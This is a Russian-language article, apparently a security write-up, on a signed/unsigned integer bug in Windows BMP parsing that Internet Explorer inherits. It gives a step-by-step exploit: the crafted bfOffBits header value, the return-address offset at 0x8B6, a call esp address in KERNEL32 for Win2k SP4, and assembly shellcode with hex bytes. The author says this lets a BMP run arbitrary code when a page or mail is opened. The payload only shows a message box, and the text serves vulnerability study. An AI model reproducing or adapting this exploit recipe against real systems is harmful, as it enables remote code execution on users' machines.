Около месяца назад появилась новость об обнаружении ошибки в исходниках Windows, связанной с обработкой BMP-файлов.
Ошибка содержится в следующем фрагменте кода
// Before we read the bits, seek to the correct location in the file while (_bmfh.bfOffBits > (unsigned)cbRead) //1 { BYTE abDummy[1024]; int cbSkip; cbSkip = _bmfh.bfOffBits - cbRead; //2 if (cbSkip > 1024) //3 cbSkip = 1024; if (!Read(abDummy, cbSkip)) //4 goto Cleanup; cbRead += cbSkip; }
Этот код используется для того, чтобы пропустить часть BMP-файла и перейти к считыванию данных, формирующих изображение.
Информация о том, в каких ОС и сервиспаках эта дыра закрыта довольно противоречива (так, сообщалось, что уязвимы только IE 5, что явно неверно). Вроде бы, закрыта она в WinXP SP1.
Код является классическим примером ошибки при преобразовании signed/unsigned. Подробно этот тип ошибки описан в http://www.phrack.org/phrack/60/p60-0x0a.txt
Рассмотрим, что произойдет, если в заголовке BMP-файла в структуре BITMAPFILEHEADER поставить значение bfOffBits, превосходящее 2^31.
Пусть _bmfh.bfOffBits = 0x90000000, а cbRead = 0x400
После присваивания в строке 2 имеем cbSkip == 0x8FFFFC00, а поскольку переменная cbSkip имеет тип int, это значит, что cbSkip == -1879049216
Проверки в строке 3 оказывается явно недостаточно, так как -1879049216 < 1024,. Происходит вызов Read(abDummy, 0x8FFFFC00).
Возьмем произвольный BMP-файл и модифицируем его заголовок, записав по смещению 0x0A значение 00 00 00 90 (0x90000000), и попробуем открыть этот файл в IE (можно создать какой-нибудь простой html-файл, содержащий ссылку на модифицированный BMP).
Результат будет зависеть от размера BMP-файла. Исследования показывают, что на больших файлах IE просто завершает работу, видимо, как-то обнаруживая внутри себя переполнение буфера, а на файлах, меньших 2 Кб, ничего вообще не происходит.
Самые интересные вещи начинаются, когда файл имеет размер около 2500 байт. В этом случае IE падает с Access Violation, причем возникает предположение, что падение происходит из-за перезаписи в стеке адреса возврата. Проверить это предположение можно следующим образом:
Теперь после падения IE в отладочной информации можно будет увидеть примерно следующее:
eax=00000001 ebx=00e18278 ecx=01c6ffdc edx=00070608 esi=000be300 edi=000be300 eip=ddddcccc esp=01c6fda0 ebp=ddddcccc iopl=0 nv up ei ng nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 Стек: 01c6fda0 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fdb0 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fdc0 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fdd0 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fde0 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fdf0 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fe00 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fe10 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fe20 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fe30 cc cc dd dd cc cc dd dd - cc cc dd dd cc cc dd dd ................ 01c6fe40 cc cc 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................ 01c6fe50 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
Особое внимание следует обратить на eip=ddddcccc и ebp=ddddcccc
Что означает, что были выполнены команды pop bp, ret, и при этом в стеке лежали наши данные.
Значит, функция Read работает следующим образом: она принимает параметры типа char * и DWORD и считывает из
открытого файла данные в буфер, пока не случится одно из следующих событий:
Функция, видимо, возвращает число записанных в буфер байт. В строке 4 проверяется, не произошла ли ошибка (в частности, если функция вернет 0 - значит ей ничего не удалось записать). Это означает, что при вызове Read(abDummy, 0x8FFFFC00) будет прочитано и перезаписано не 0x8FFFFC00 байт, а меньше (а именно - наш файл будет прочитан до конца, затем произойдет ошибка, и в конце концов функция вернет 0 - и произойдет выход из цикла (goto Cleanup) и возврат из функции, вызвавшей Read).
Если бы этого не происходило, и функция за раз пыталась перезаписывать 0x8FFFFC00 байт, скорее всего произошло бы банальное нарушение защиты памяти, и IE просто падал бы. Это неинтересно.
Определим, какое конкретно место в стеке надо перезаписывать (ведь из всех 2400 байт BMP-файла только 4 будут использоваться как адрес возврата). Сделать это можно различными способами, например, бинарным поиском (постепенно заменяя 0xCCCCDDDD на что-нибудь другое и следя за изменением результата) либо проcто заполнив файл разными значениями, и отследив, какое именно из них попадет в eip.
После проведения анализа выясняется, что это значение находится по смещению 0x8B6 от начала файла
Итак, мы можем передать управление по любому адресу в пространстве IE, изменив в нашем файле 4 байта по смещению 0x8B6. Значит, есть возможность выполнить код, который можно разместить в самом BMP-файле.
Заметим, что esp после выполнения ret будет указывать на байт в стеке, который в исходном BMP файле находится по адресу 0x8BE (это можно проверить, изменив этот байт и посмотрев в на изменения в stack trace). Так и хочется в BMP-файле начиная с 0x8BE разместить наш код и передать на него управление... Только сделать это напрямую не получится - заранее неизвестно, где наш код будет находиться в адресном пространстве IE. - мы не сможем просто записать адрес в BMP-файл по смещению 0x8B6.
Решить эту проблему можно следующим образом: как известно, IE использует системные DLL такие как KERNEL32.DLL и USER32.DLL. Их загрузка происходит всегда по одному и тому же адресу.
Далее все просто: достаточно найти в какой-нибудь библиотеке, загружающейся по фиксированному адресу, последовательность 0xFFE4 (jmp esp) или 0xFFD4 (call esp) и передать туда управление (предварительно, естественно, нужно вычислить адрес, по которому эта инструкция будет расположена в адресном пространстве IE и именно этот адрес записать в BMP файл). Этот код, в свою очередь, передаст управление на инструкцию по адресу esp, что нам и нужно.
У этого метода есть одна неприятная особенность: ввиду того, что системные библиотеки Windows могут меняться от версии к версии и от сервиспака к сервискпаку, для каждой операционной системы (и каждого сервиспака) придется создавать свой собственный BMP-файл.
Для Win2k En Sp4 подойдет, например, адрес 0x7C4FEDBB (что соответствует инструкции call esp в KERNEL32.DLL по смещению 0x1E1BB от начала файла).
Код, который будет выполняться - тема отдельной статьи. На эту тему почитать можно здесь: http://seclists.org/lists/vuln-dev/2001/Sep/0190.html. Но поскольку сейчас не ставится целью разработка вируса или трояна, эксплуатирующего данную уязвимость, мы просто выведем сообщение и завершим текущий поток. Для этого вызовем MessageBoxA и ExitThread. В стеке предварительно разместим строку, которую мы хотим вывести (располагать ее следует, очевидно, до адреса 0x8B6 в нашем файле)
000008C0: 8BC4 mov eax,esp 000008C2: 2D00020000 sub eax,000000200 000008C7: 6A00 push 000 000008C9: 50 push eax 000008CA: 50 push eax 000008CB: 6A00 push 000 000008CD: B89880E377 mov eax,077E38098 ;MessageBoxA 000008D2: FFD0 call eax 000008D4: B83B5F4E7C mov eax,07C4E5F3B ;ExitThread 000008D9: FFD0 call eax
Таким образом, был создан BMP-файл, позволяющий выполнять произвольный код на машине пользователя. Для выполнения кода необходимо либо открытие страницы, либо просто просмотр письма, содержащего файл в аттаче (в Outlook Express).
Прилагаемый файл проверялся на Win2k en sp4 IE 6.0.2600.
обсудить | все отзывы (7) | |
[25254; 67; 5.86] |
|
|